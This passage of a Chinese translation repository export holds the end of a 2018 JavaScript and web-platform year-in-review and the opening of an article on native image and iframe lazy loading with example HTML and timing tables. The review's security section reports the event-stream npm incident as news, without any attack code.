这样语言的一些更高级的正则表达式功能 —— 直到现在才推出类似的特性。ES2018 增加了四个新特性：\n\n* [后行断言（lookbehind assertions）](https://github.com/tc39/proposal-regexp-lookbehind)，为自 1999 年以来一直使用该语言的先行断言（ lookahead assertions） 提供了缺失的补充。\n* [s（dotAll）标志](https://github.com/tc39/proposal-regexp-dotall-flag)，它匹配除行终止符之外的任何单个字符。\n* [命名捕获组](https://github.com/tc39/proposal-regexp-named-groups)，通过基于属性的捕获组查找，可以更轻松地使用正则表达式。\n* [Unicode 属性转义](https://github.com/tc39/proposal-regexp-unicode-property-escapes)，可以编写能够识别 Unicode 编码的正则表达式了。\n\n虽然这些新特性中的许多功能多年来都有解决方法和替代库，但它们都没有原生实现的速度快。\n\n### 新的浏览器特性\n\n今年发布了相当多的新的 JavaScript 浏览器 API。几乎所有内容都有所改进 —— 网络安全、高性能计算和动画等等。让我们按领域划分它们以更好地了解它们带来的影响。\n\n### WebAssembly\n\n尽管去年对 WebAssembly v1 的支持被添加到了主流浏览器中，但它尚未被开发者社区广泛采用。WebAssembly Group 针对[垃圾回收](https://github.com/WebAssembly/gc)、ECMAScript 模块集成和[线程](https://developers.google.com/web/updates/2018/10/wasm-threads)等功能提供了[宏大的功能路线图](https://webassembly.org/docs/future-features/)。也许有了这些功能，我们才会看到 WebAssembly 在 Web 应用程序中被广泛采用。\n\n有一部分问题是 WebAssembly 需要大量的步骤才能开始使用，而许多习惯于使用 JavaScript 的开发人员并不熟悉使用传统的编译语言。Firefox 推出了一个名为 [WebAssembly Studio](https://hacks.mozilla.org/2018/04/sneak-peek-at-webassembly-studio/) 的在线 IDE，可以让使用 WebAssembly 变得简单。如果你希望将其集成到现有的应用程序中，现在有很多工具可供选择。Webpack v4 为 WebAssembly 模块添加了实验性[内置支持](https://github.com/webpack/webpack/releases/tag/v4.0.0)，这些模块紧密集成到构建和模块系统中，并提供 source map 支持。\n\nRust 已成为编译 WebAssembly 的最佳语言。它提供了一个健壮的包生态系统，具有 [cargo](https://github.com/rust-lang/cargo)，可靠的性能和[易于学习](https://doc.rust-lang.org/book/)的语法。现在已经有一个新兴的工具生态系统将 Rust 与 Javascript 集成在一起。你可以使用 [wasm-pack](https://github.com/rustwasm/wasm-pack) 将 Rust WebAssembly 包发布到 npm 上。如果你使用了 webpack，现在可以使用 [rust-native-wasm-loader](https://github.com/dflemstr/rust-native-wasm-loader) 在应用程序中无缝集成 Rust 代码。\n\n如果你不想放弃 JavaScript 来使用 WebAssembly，你很幸运 —— 现在有几种选择。如果你熟悉 Typescript，可以使用 [AssemblyScript](https://github.com/AssemblyScript/assemblyscript) 项目，该项目使用官方 [Binaryen](https://github.com/WebAssembly/binaryen) 编译器和 Typescript。\n\n因此，它适用于现有的 Typescript 和 WebAssembly 工具。[Walt](https://github.com/ballercat/walt) 是另一个坚持 JavaScript 语法的编译器（使用类似于 Typescript 的类型提示），并直接编译为 WebAssembly 文本格式。它是零依赖的，具有非常快的编译速度，并可以与 webpack 集成。这两个项目都在积极开发中，根据你的标准，它们可能会不适用于生产环境。无论如何，它们都值得一试。\n\n### 共享内存\n\n现代 JavaScript 应用程序经常把大量的计算放在 [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Worker) 中，以避免其阻塞主线程并中断浏览体验。虽然 Worker 已经推出几年了，但它的局限性使他们无法更广泛地采用。Worker 可以使用 [postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Worker/postMessage) 方法在其他线程之间传输数据，该方法克隆发送的数据（较慢）或使用[可传输的对象](https://developer.mozilla.org/en-US/docs/Web/API/Transferable)（更快）。因此，线程之间的通信要么是慢速的，要么是单向的。对于简单的应用程序没有太大问题，但它限制了使用 Worker 构建更复杂的架构。\n\n[SharedArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer) 和 [Atomics](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Atomics) 是允许 JavaScript 应用程序在上下文之间共享固定内存缓冲区并对它们执行原子操作的新功能。但是，在发现共享内存使浏览器容易受到以前未知的被称为 [Spectre](https://meltdownattack.com/) 的定时攻击后，浏览器对该特性的支持被暂时删除了。Chrome 在 7 月发布了一项[新的安全功能](https://www.techrepublic.com/article/google-enabled-site-isolation-in-chrome-67-heres-why-and-how-it-affects-users/)，可以缓解该漏洞，从而重新启用了 SharedArrayBuffers 功能。在 Firefox 中，该功能默认情况下是禁用的，但可以[重新启用](https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/)。Edge [完全取消了对SharedArrayBuffers 的支持](https://blogs.windows.com/msedgedev/2018/01/03/speculative-execution-mitigations-microsoft-edge-internet-explorer/#Yr2pGlOHTmaRJrLl.97)，微软尚未表示何时会重新启用。希望到明年所有浏览器都会采用缓解策略，以便可以使用这个关键的缺失功能。\n\n### Canvas\n\nCanvas 和 WebGL 等图形 API 已经推出几年了，但它们一直被限于在主线程中进行渲染。因此，渲染可能会阻塞主线程。这会导致糟糕的用户体验。[OffscreenCanvas](https://developer.mozilla.org/en-US/docs/Web/API/OffscreenCanvas#Asynchronous_display_of_frames_produced_by_an_OffscreenCanvas) API 允许你将 canvas 上下文（2D 或 WebGL）的控制权转移给 Web Worker，从而解决了这个问题。在 Worker 使用 Canvas API 和平时没有区别，而且不会阻塞主线程，并可以无缝渲染。 \n\n鉴于显著的性能提升，可以期待图表和绘图库会很快支持它。目前[浏览器支持](https://caniuse.com/#feat=offscreencanvas)仅限于 Chrome 和 Firefox，而 Edge 团队尚未公开表示支持。你可以期望它能和 SharedArrayBuffers 以及 WebAssembly 很好地配对，允许 Worker 基于任何线程中存在的数据，使用任何语言编写的代码进行渲染，所有这些都不会造成糟糕的用户体验。这可能使网络上实现高端游戏的梦想成为现实，而且可以在 Web 应用程序中使用更复杂的图形。\n\n新的绘图和布局 API 正努力被引入 CSS。目标是向 Web 开发人员公开 CSS 引擎的部分内容，以揭开 CSS 的一些“神奇”神秘面纱。W3C 的 [CSS Houdini 工作组](https://github.com/w3c/css-houdini-drafts/wiki)由主要浏览器供应商的工程师组成，在过去两年中一直在努力发布[几个规范草案](https://drafts.css-houdini.org/)，这些规范目前正处于设计的最后阶段。\n\n[CSS Paint API](https://developers.google.com/web/updates/2018/01/paintapi) 是其中最早登陆浏览器的新 CSS API ，它在 1 月份登陆 Chrome 65。它允许开发人员使用类似 context 的 API 绘制图像，可以在 CSS 中调用图像的任何地方使用它。它使用新的 [Worklet](https://drafts.css-houdini.org/worklets) 接口，这些接口基本上是轻量级，高性能的类似 [Worker](https://developer.mozilla.org/en-US/docs/Web/API/Worker) 的构造，用于专门的任务处理。和 Worker 一样，它们在自己的执行上下文中运行，但与 Worker 不同的是，它们是线程不可感知的（浏览器选择它们运行的线程），并且它们可以访问渲染引擎。\n\n使用 Paint Worklet，你可以创建一个背景图像，当其中包含的元素发生更改时，该图像会自动重绘。使用 CSS 属性，你可以添加在更改时触发重新绘制的参数，并可通过 JavaScript 进行控制。[所有浏览器](https://ishoudinireadyyet.com/)都承诺支持该 API，除了 Edge，但是现在有一个 [polyfill](https://github.com/GoogleChromeLabs/css-paint-polyfill) 可以使用。有了这个 API，我们将开始看到组件化图像的使用方式，这与我们现在看到的组件类似。\n\n### 动画\n\n大多数现代 Web 应用程序使用动画作为用户体验的重要部分。像 Google 的 Material Design 这样的框架把动画作为其[设计语言](https://material.io/design/motion/understanding-motion.html#principles)的重要组成部分，并认为它们对于创造富有表现力和易于理解的用户体验至关重要。鉴于它们的重要性的提高，最近推出了一个更强大的 JavaScript 动画 API，这个就是 Web Animations API（WAAPI）。\n\n正如 [CSS-Tricks 所说](https://css-tricks.com/css-animations-vs-web-animations-api/)，WAAPI 提供了比 CSS 动画更好的开发人员体验，你可以轻松地记录和操作 JS 或 CSS 中定义的动画状态。目前[浏览器支持](https://caniuse.com/#feat=web-animation)主要限于 Chrome 和 Firefox，但有一个[官方的 polyfill](https://github.com/web-animations/web-animations-js/tree/master) 可以满足你的需求。\n\n性能一直是 Web 动画的一个问题，[Animation Worklet](https://wicg.github.io/animation-worklet/) 解决了这个问题。这个新的 API 允许复杂的动画并行运行 —— 这意味着更高的帧速率动画不受主线程卡顿的影响。Animation Worklet 遵循与 Web Animations API 相同的接口，但在 Worklet 执行上下文中。\n\n它将在 Chrome 71（截至撰写本文时的下一个版本）[发布](https://www.chromestatus.com/features/5762982487261184)，而其他浏览器可能会在明年某个时候发布。如果想今天就试试，可以在 GitHub 上找到官方的 [polyfill 和示例仓库](https://github.com/GoogleChromeLabs/houdini-samples/tree/master/animation-worklet)。\n\n### 安全\n\nSpectre 定时攻击并不是今年唯一的网络安全恐慌。npm 固有的脆弱性在[过去已经写了很多](https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5)，上个月我们得到了一个[告警提醒](https://blog.logrocket.com/the-latest-npm-breach-or-is-it-a427617a4185)。这不是 npm 本身的安全漏洞，而是一个名为 [event-stream](https://www.npmjs.com/package/event-stream) 的包，被许多流行软件包使用。npm 允许包作者将所有权转让给任何其他成员，黑客说服所有者将其转让给他们。然后，黑客发布了一个新版本，它依赖于他们创建的名为 [flatmap-stream](https://www.npmjs.com/package/flatmap-stream) 的软件包，其代码可以窃取[比特币钱包](https://copay.io/)，如果该恶意软件和 [copay-dash](https://www.npmjs.com/package/copay-dash) 一起安装，就会窃取用户的比特币钱包。\n\n考虑到 npm 的运行方式，社区成员倾向于安装看似有用的随机 npm 包，这种攻击只会变得更加普遍。社区对包所有者非常信任，现在信任受到了极大的质疑。npm 用户应该知道他们正在安装的每个软件包（包括依赖项的依赖关系），使用锁定文件来锁定版本并注册 [Github 提供的](https://blog.github.com/2017-11-16-introducing-security-alerts-on-github/)安全警报。\n\nNpm [意识到社区的安全问题](https://blog.npmjs.org/post/172774747080/attitudes-to-security-in-the-javascript-community)，他们在过去的一年里已经采取措施去改进它。你现在可以使用[双因素身份验证](https://blog.npmjs.org/post/166039777883/protect-your-npm-account-with-two-factor)来保护你的 npm 帐户，并且 npm v6 现在包含了[安全审核](https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities)命令。 \n\n### 监控\n\n[Reporting API](https://developers.google.com/web/updates/2018/09/reportingapi) 是一种新标准，旨在通过在发生问题时发出警报，使开发人员更容易发现应用程序的问题。如果你在过去几年中使用过 Chrome DevTools 控制台，你可能已经看到了 **[intervention]** 警告消息，用来提醒用户使用了过时的 API 或执行了可能不安全的操作。这些消息仅限于客户端，但现在你可以使用新的 [ReportingObserver](https://developers.google.com/web/updates/2018/07/reportingobserver) 将其报告给分析工具。\n\n有两种报告：\n\n* [废弃](https://developers.google.com/web/updates/tags/deprecations)，当你使用过时的 API 时会发出警告，并通知你何时删除它。它还会告诉你使用它的文件名和行号。\n* [干预](https://www.chromestatus.com/features#intervention)，当你以无意识的、危险或不安全的方式使用 API 时，它会发出警告。\n\n而像 [LogRocket](https://logrocket.com/) 这样的工具可以让开发人员深入了解应用程序中的错误。到目前为止，第三方工具还没有任何可靠的方法来记录这些警告。这意味着问题要么被忽视，要么表现为难以调试的错误消息。Chrome 目前支持了 ReportingObserver API，其他浏览器很快就会支持它。\n\n### CSS\n\n虽然 JavaScript 得到了所有人的关注，但几个有趣的 CSS 新功能在今年登陆了浏览器。\n\n很多人不知道，其实并没有统一的类似于 ECMAScript 的 CSS3 规范。最后一个官方统一标准是 CSS2.1，而 CSS3 适用于在其之后发布的内容。与 CSS2 不同的是，CSS3 的每个部分都单独标准化为 “CSS 模块”。 MDN 对每个模块标准及其状态有一个[很好的概述](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS3)。\n\n截至 2018 年，现在所有主流浏览器都完全支持一些较新的功能（这是 2018 年，IE 不是主流浏览器）。这包括 [flexbox](https://blog.logrocket.com/flexing-with-css-flexbox-b7940b329a8a)、[自定义属性](https://caniuse.com/#feat=css-variables)（变量）和[网格布局](https://blog.logrocket.com/the-simpletons-guide-to-css-grid-1767565b3cf7)。\n\n虽然[过去一直在讨论](https://tabatkins.github.io/specs/css-nesting/)如何向 CSS 添加对嵌套规则的支持（就像 LESS 和 SASS 那样），但这些提案被搁置了。在 7 月，W3C 的 CSS 工作组[决定](https://github.com/w3c/csswg-drafts/issues/2701#issuecomment-402392212)再次审视该提案，但目前还不清楚它是否是一个优先事项。\n\n### Node.js\n\nNode 继续在遵循 ECMAScript 标准方面取得良好进展，截至 12 月，它们[支持了所有 ES2018 标准](https://node.green/)。但另一方面，他们采用 ECMAScript 模块系统的速度很慢，因此缺少一项与浏览器比肩的关键功能，浏览器已经支持 ES 模块一年多了。Node 实际上在 v11.4.0 版本标志后面添加了一项[实验支持](https://nodejs.org/api/esm.html)，但是这需要文件使用新的 .mjs 后缀，这使得他们开始[担忧](https://github.com/nodejs/modules/issues/57)：用户的接受速度可能会十分缓慢，以及其对 Node 的丰富包生态系统的影响。\n\n如果你希望快速开始，并且不想使用实验性内置支持，可以尝试使用被 Lodash 的创建者称为 [esm](https://medium.com/web-on-the-edge/tomorrows-es-modules-today-c53d29ac448c) 的一个有趣的项目，它为 Node ES 模块支持提供了比官方解决方案更好的互操作性和性能。\n\n### 框架和工具\n\n#### React\n\n[React](https://reactjs.org/) 今年发布了两个值得注意的版本。React 16.3 附带了一组新的[生命周期方法](https://reactjs.org/blog/2018/03/29/react-v-16-3.html#component-lifecycle-changes)和一个新的官方 [Context API](https://reactjs.org/blog/2018/03/29/react-v-16-3.html#official-context-api)。React 16.6 添加了一个名为 “Suspense” 的新功能，它使 React 能够在组件等待如数据获取或[代码分割](https://reactjs.org/docs/code-splitting.html#reactlazy)等任务完成时暂停渲染。\n\n今年最受关注的 React 话题是引入了 [React Hooks](https://reactjs.org/docs/hooks-intro.html)。该提案为了让编写更小的组件更简单，并且不会牺牲迄今为止仅限于类组件的有用功能。React 将附带两个内置钩子，State Hook（允许函数式组件使用状态）和 [Effect Hook](https://reactjs.org/docs/hooks-effect.html#tip-use-multiple-effects-to-separate-concerns)（可以让你在函数式组件中执行副作用）。虽然没有计划从 React 中删除类，但 React 团队显然希望 Hooks 成为 React 未来的核心。提案宣布之后，社区有了积极的反应（[有些人可能会说过度夸大了](https://twitter.com/dan_abramov/status/1057027428827193344)）。如果你有兴趣了解更多信息，请查看 [Dan Abramov 的博文](https://medium.com/@dan_abramov/making-sense-of-react-hooks-fdbde8803889)里面的全面概述。\n\n明年，React 计划发布一项名为 [Concurrent mode](https://reactjs.org/blog/2018/11/27/react-16-roadmap.html#react-16x-q2-2019-the-one-with-concurrent-mode)（以前称为 “async mode” 或 “async rendering”）的新功能。这将使 React 在不阻塞主线程的情况下渲染大型组件树。对于具有深度组件树的大型应用程序，性能的节省可能非常显着。目前还不清楚该 API 究竟是什么样子，但 React 团队的目标是很快完成它并在明年某个时候发布。如果你对采用此功能感兴趣，请通过采用 React 16.3 中发布的新生命周期方法确保你的代码能够兼容该功能。\n\nReact 流行度继续增长，[根据 JavaScript 2018 趋势报告](https://2018.stateofjs.com/front-end-frameworks/react/)显示，64％ 的受访者选择使用 React 并将再次使用它（比去年增加了 7.1％），相比之下 [Vue 为 28％](https://2018.stateofjs.com/front-end-frameworks/vuejs/)（增长了 9.2％），[Angular 为 23%](https://2018.stateofjs.com/front-end-frameworks/angular/)（增长了 5.1％）。\n\n#### Webpack\n\n[Webpack](https://webpack.js.org) 4 [于 2 月发布](https://github.com/webpack/webpack/releases/tag/v4.0.0-beta.0)，带来了巨大的性能改进，内置生产和开发模式，做了如代码分割和压缩的易于使用的优化，实验性的 WebAssembly 支持和 ECMAScript 模块支持。Webpack 现在比以前的版本更容易使用，以前如代码分割和代码优化等复杂的功能，现在设置起来非常简单。结合使用 Typescript 或 Babel，webpack 仍然是 Web 开发人员的基础工具，竞争对手似乎不太可能在不久的将来出现并取而代之。\n\n#### Babel\n\n[Babel](https://babeljs.io) 7 [于今年 8 月发布](https://babeljs.io/blog/2018/08/27/7.0.0)，这是近三年来的第一次重大发布。主要更改包括[更快的构建时间](https://twitter.com/left_pad/status/927554660508028929)，新的包命名空间以及各种“阶段”和按照年度命名的 ECMASCript 预设包的弃用，以支持 [preset-env](https://babeljs.io/docs/en/next/babel-preset-env.html)，它通过自动包含你支持的浏览器所需的插件，极大地简化了配置 Babel 的过程。此版本还添加了[自动 polyfilling](https://babeljs.io/blog/2018/08/27/7.0.0#automatic-polyfilling-experimental)，无需导入整个 Babel polyfill（体积相当大）或显式导入所需的 polyfill（这可能非常耗时且容易出错）。\n\nBabel 现在也[支持 Typescript 语法](https://blogs.msdn.microsoft.com/typescript/2018/08/27/typescript-and-babel-7/)，使开发人员更容易将 Babel 和 Typescript 一起使用。Babel 7.1 还增加了对新的[装饰器提案](https://babeljs.io/blog/2018/09/17/decorators)的支持，该提议与社区广泛采用的过时提案不兼容，但与浏览器支持的内容相匹配。值得庆幸的是，Babel 团队发布了一个[兼容性软件包](https://babeljs.io/blog/2018/09/17/decorators#upgrading)，可以使升级更容易。\n\n#### Electron\n\n[Electron](https://electronjs.org/) 仍然是最常用的桌面 JavaScript 应用程序打包方式，尽管这是否是一件好事还是有争议的。现在一些最流行的桌面应用程序使用了 Electron，可以使跨平台开发应用程序更加简单，从而降低开发成本。\n\n一个[常见的抱怨](https://www.theverge.com/circuitbreaker/2018/5/16/17361696/chrome-os-electron-desktop-applications-apple-microsoft-google)是，使用 Electron 的应用程序会使用太多内存，因为每个应用程序都打包整个 Chrome 实例（这会非常占用内存）。[Carlo](https://github.com/GoogleChromeLabs/carlo) 是来自 Google 的 Electron 替代品，它使用本地安装的 Chrome 版本（需要在本地安装），从而减少了内存消耗大的问题。Electron 本身在提高性能方面没有取得多大进展，[近期的更新](https://electronjs.org/blog/electron-3-0)主要集中在更新 Chrome 依赖项和小的 API 改动上面。\n\n#### Typescript\n\n在去年，[Typescript](https://www.typescriptlang.org/) 的受欢迎程度大大提高，成为了JavaScript 统治地位的 ES6 的主要挑战者。自微软每月发布新版本以来，开发在过去一年中取得了相当快的进展。Typescript 团队非常关注开发人员的体验，包括语言本身和围绕它的编辑器工具。\n\n最近的版本增加了更多开发人员友好的[错误格式](https://blogs.msdn.microsoft.com/typescript/2018/07/30/announcing-typescript-3-0/#improved-errors-and-ux)和强大的重构功能，如[自动导入更新](https://blogs.msdn.microsoft.com/typescript/2018/05/31/announcing-typescript-2-9/#rename-move-file)和[导入组织](https://blogs.msdn.microsoft.com/typescript/2018/03/27/announcing-typescript-2-8/#organize-imports)等。与此同时，TypeScript 继续在提升类型系统上发力，如近期的[条件类型](https://blogs.msdn.microsoft.com/typescript/2018/03/27/announcing-typescript-2-8/#conditional-types)和[未知类型](https://blogs.msdn.microsoft.com/typescript/2018/07/30/announcing-typescript-3-0/#the-unknown-type)两个新功能。\n\nJavaScript 2018 趋势报告指出，[近一半的受访者](https://2018.stateofjs.com/javascript-flavors/typescript/)使用 TypeScript，和过去两年相比具有强劲的上升趋势。相比之下，它的主要竞争对手 Flow 已经[停滞不前](https://2018.stateofjs.com/javascript-flavors/flow/)，大多数开发者表示他们不喜欢 Flow 缺乏工具，并且流行势头降低。Typescript 受到赞赏，因为开发人员可以通过使用强大的编辑器轻松编写健壮且优雅的代码。开发者注意到了，TypeScript 的发起者微软似乎更愿意支持它，而 Facebook 对 Flow 的支持就差了一截。\n\n* * *\n\n### 题外话：[LogRocket](https://logrocket.com/signup/)，一个用于 web 应用程序的DVR\n\n[![](https://cdn-images-1.medium.com/max/1000/1*s_rMyo6NbrAsP-XtvBaXFg.png)](https://logrocket.com/signup/)\n\n[LogRocket](https://logrocket.com/signup/) 是一个前端日志记录工具，可让你像在自己的浏览器中一样重现问题。LogRocket 不是猜测错误发生的原因，也不是要求用户提供屏幕截图和日志转储，而是让你重播会话以快速了解出现了什么问题。它适用于任何应用程序，与框架无关，并且具有从 Redux、Vuex 和 @ngrx / store 记录上下文的日志插件。\n\n除了记录 Redux 操作和状态之外，LogRocket 还会记录控制台日志、JavaScript 错误、堆栈跟踪、带有 header 和 body 的网络请求/响应、浏览器元数据和自定义日志。它还使用 DOM 来记录页面上的 HTML 和 CSS，能够重新创建即使是最复杂的单页应用程序的像素级完美视频。\n\n[欢迎免费试用。](https://logrocket.com/signup/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-deep-dive-into-native-lazy-loading-for-images-and-frames.md",
    "content": "> * 原文地址：[A Deep Dive into Native Lazy-Loading for Images and Frames](https://css-tricks.com/a-deep-dive-into-native-lazy-loading-for-images-and-frames/)\n> * 原文作者：[Erk Struwe](https://css-tricks.com/author/erkstruwe/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-deep-dive-into-native-lazy-loading-for-images-and-frames.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-deep-dive-into-native-lazy-loading-for-images-and-frames.md)\n> * 译者：[Baddyo](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[Mcskiller](https://github.com/Mcskiller)\n\n# 深入理解图片和框架的原生懒加载功能\n\n当今的网站上充斥着大量媒体资源，例如图片和视频。图片约占[网站平均通信量的 50%](https://httparchive.org/reports/page-weight#bytesImg)。然而这些图片中的大部分都没机会进入用户的视野，因为它们位于网站页面的[头版](https://en.wikipedia.org/wiki/Above_the_fold)之外。\n\n看到本文标题你会问「懒加载是什么东西？」CSS-Tricks 网站中有非常多的探讨**懒加载**的[文章](https://css-tricks.com/?s=lazy+load&orderby=relevance&post_type=post%2Cpage%2Cguide)，其中有一篇非常详尽的《[用 JavaScript 花式实现懒加载的指南文档](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)》。简言之，我们要讨论的是一种延迟网络资源加载的机制，在该机制下，网页内容按需加载，或者说得更直白些，当网页内容进入用户视野时再触发加载。\n\n这样做有什么好处？压缩初始页面的体积以提升加载速度；免于为用户根本不会看到的内容浪费网络请求。\n\n如果你之前读过关于懒加载的其他文章，你就会明白，我们必须借助各种不同的方式才能实现懒加载功能。而当原生 HTML 用 `loading` 特性支持懒加载功能后，那可就柳暗花明又一村了。目前仅有 [Chrome](https://css-tricks.com/a-native-lazy-load-for-the-web-platform/) 支持 `loading` 特性，但有望全面开花。Chrome 近期正在开发和测试对原生懒加载特性的支持功能，预计在 2019 年 9 月初发布的 Chrome 77 版本中面世。\n\n![懒加载的饿豹图（但图片还是立即加载了，因为它位于头版中）](https://demo.tiny.pictures/native-lazy-loading/eager-cat.jpg?height=550&resizeType=cover&gravity=0.45%2C0.58&width=904) \n\n## 非原生的方法\n\n截至目前，我们这群开发者仍需要用 JavaScript（不论是借助第三方库还是自己从零手写）实现懒加载功能。大多数懒加载库的原理都是：\n\n* 服务端返回的 HTML 响应中包含一个初始的、不带 `src` 特性的 `img` 元素，这样浏览器就不会加载任何数据。而图片的链接地址放在 `img` 元素的其他特性上，例如 `data-src`。\n\n```html\n<img data-src=\"https://tiny.pictures/example1.jpg\" alt=\"...\">\n```\n\n* 然后，载入一个懒加载库，运行它。\n\n```html\n<script src=\"LazyLoadingLibrary.js\"></script>\n<script>LazyLoadingLibrary.run()</script>\n```\n\n* 该懒加载库时刻记录用户滚动页面的行为，告诉浏览器加载即将滚入用户视野的图片。加载方式是把 `data-src` 特性的值赋给原本为空的 `src` 特性。\n\n```html\n<img src=\"https://tiny.pictures/example1.jpg\" data-src=\"https://tiny.pictures/example1.jpg\" alt=\"...\">\n```\n\n长期以来，我们都在用这种方式实现懒加载。但这并不是理想的实现方式。\n\n该方式的显著问题就是，要展示网站页面，得经过好几个关键步骤。总共要三个步骤，还必须得按顺序执行：\n\n1. 加载初始的 HTML 响应内容\n2. 加载懒加载库\n3. 加载图片\n\n如果把这样的懒加载技术应用到头版中的图片上，页面在加载期间会**发生闪烁**，因为一开始绘制的时候，页面中没有图片（闪烁发生于第 1 步还是第 2 步之后，取决于载入库的脚本用的是 `defer` 还是 `async`），懒加载库生效后，图片才姗姗来迟。这还会给用户造成网页加载速度缓慢的错觉。\n\n另外，懒加载库本身也是对带宽和 CPU 算力的占用。而且别忘了，如果用户**禁用了 JavaScript**（都已经2019年了，这种情况我们不予考虑，[你说对吧？](https://www.wired.com/2015/11/i-turned-off-javascript-for-a-whole-week-and-it-was-glorious/)），那么懒加载库是行不通的。\n\n哦对了，那些依赖 RSS 来发布内容的网站（如 CSS-Tricks）又该怎么办呢？如果初始的页面中不载入图片，那么 RSS 版本的页面就始终不会显示图片。\n\n凡此种种，不一而足。\n\n## 原生懒加载前来救驾！\n\n![懒加载的懒猫图](https://demo.tiny.pictures/native-lazy-loading/lazy-cat.jpg?height=550&resizeType=cover&gravity=0.3%2C0.5&width=904) \n\n如前文所说，Chromium 开发团队和 Google Chrome 开发团队从 Chrome 75 开始，装载 `loading` 特性支持的原生懒加载功能。关于该特性及其值，我们稍后再讨论，还是先在浏览器里启用这个功能来一探究竟吧。\n\n### 启用原生懒加载功能\n\n从 Chrome 75 开始，我们可以切换两个开关来手动启用懒加载功能。预计从 Chrome 77（计划于 2019 年 9 月发布）开始，该功能就会是默认开启的了。\n\n1. 在 Chromium 或 Chrome Canary 打开 `chrome://flags`。\n2. 搜索关键词 `lazy`。\n3. 把「Enable lazy image loading」和「Enable lazy frame loading」两项都激活。\n4. 点击屏幕右下角的按钮重启浏览器。\n\n![](https://css-tricks.com/wp-content/uploads/2019/05/s_160B9CF1BF8B57931AB686E69B9B21D9BB06362CE31DD0F75344D0CE817B67F2_1557201494561_chrome-native-lazy-loading-flags.png)\n\n↑↑↑ 示意图：Google Chrome 中的原生懒加载功能开关 ↑↑↑\n\n打开 JavaScript 控制台（按 `F12` 键），看看懒加载功能是否已经成功激活。如果成功激活，你会看到如下警告信息：\n\n> [Intervention] Images loaded lazily and replaced with placeholders. Load events are deferred.（图片以懒惰方式加载并替换为占位符。加载事件被延迟。）\n\n都搞定了吗？那就一起深入了解 `loading` 吧。\n\n## loading 特性\n\n`img` 和 `iframe` 元素都支持 `loading` 特性。切记，`loading` 特性的值不是让浏览器严格执行的命令，而是帮助浏览器自己决定是否要懒加载图片或者框架。\n\n下面会介绍 `loading` 特性可取的三个值。在下文中的每张图片下面，你都可以看到一张表格，其中列着每个图片资源的加载时序。**范围请求**（译者注：原文用词为 Range response，疑似笔误）指的是一种预检图片局部的请求，用来确定图片文件的大小（参见详细[原理](https://github.com/xitu/gold-miner/pull/5886#loading-%E7%89%B9%E6%80%A7%E7%9A%84%E5%8E%9F%E7%90%86)）。如果该列有内容，证明浏览器成功发出了范围请求。\n\n请注意 **startTime** 列，该列表明了在 DOM 解析后，图片的加载被推迟了多长时间。你可以使用强制刷新（CTRL + Shift + R）重新触发范围请求。\n\n### 默认值：`auto`\n\n```html\n<img src=\"auto-cat.jpg\" loading=\"auto\" alt=\"...\">\n<img src=\"auto-cat.jpg\" alt=\"...\">\n<iframe src=\"https://css-tricks.com/\" loading=\"auto\"></iframe>\n<iframe src=\"https://css-tricks.com/\"></iframe>\n```\n\n![自动加载的车模照](https://demo.tiny.pictures/native-lazy-loading/auto-cat.jpg?width=452)\n\n↑↑↑ 示意图：自动加载的车模照 ↑↑↑\n\n| 度量 / 请求 | #1          |\n| ---------------- | ----------- |\n| encodedBodySize  | 20718 bytes |\n| decodedBodySize  | 20718 bytes |\n| transferSize     | 0 bytes     |\n| startTime        | 54 ms       |\n| requestStart     | 592 ms      |\n| responseStart    | 596 ms      |\n| responseEnd      | 601 ms      |\n| timeToFirstByte  | 4 ms        |\n| downloadDuration | 5 ms        |\n\n把 `loading` 设为 `auto`（或者将其置空：`loading=\"\"`），可以让**浏览器自己决定**是否懒加载图片。决定是否懒加载要考虑很多因素，例如平台、是否处于 Data Saver 模式（译者注：Chrome 已于 2019 年 5 月 6 日废弃了该功能）、网络状况、图片大小、是图片还是 iframe 以及 CSS 的 `display` 属性等等。（关于考虑这些因素的原因，参见[此处](https://github.com/xitu/gold-miner/pull/5886#loading-%E7%89%B9%E6%80%A7%E7%9A%84%E5%8E%9F%E7%90%86)。）\n\n### 急脾气的值：`eager`\n\n```html\n<img src=\"auto-cat.jpg\" loading=\"eager\" alt=\"...\">\n<iframe src=\"https://css-tricks.com/\" loading=\"eager\"></iframe>\n```\n\n![急切加载的疾豹图](https://demo.tiny.pictures/native-lazy-loading/eager-cat.jpg?width=452)\n\n↑↑↑ 示意图：急切加载的急豹图 ↑↑↑\n\n| 度量 / 请求 | #1          |\n| ---------------- | ----------- |\n| encodedBodySize  | 24019 bytes |\n| decodedBodySize  | 24019 bytes |\n| transferSize     | 0 bytes     |\n| startTime        | 54 ms       |\n| requestStart     | 592 ms      |\n| 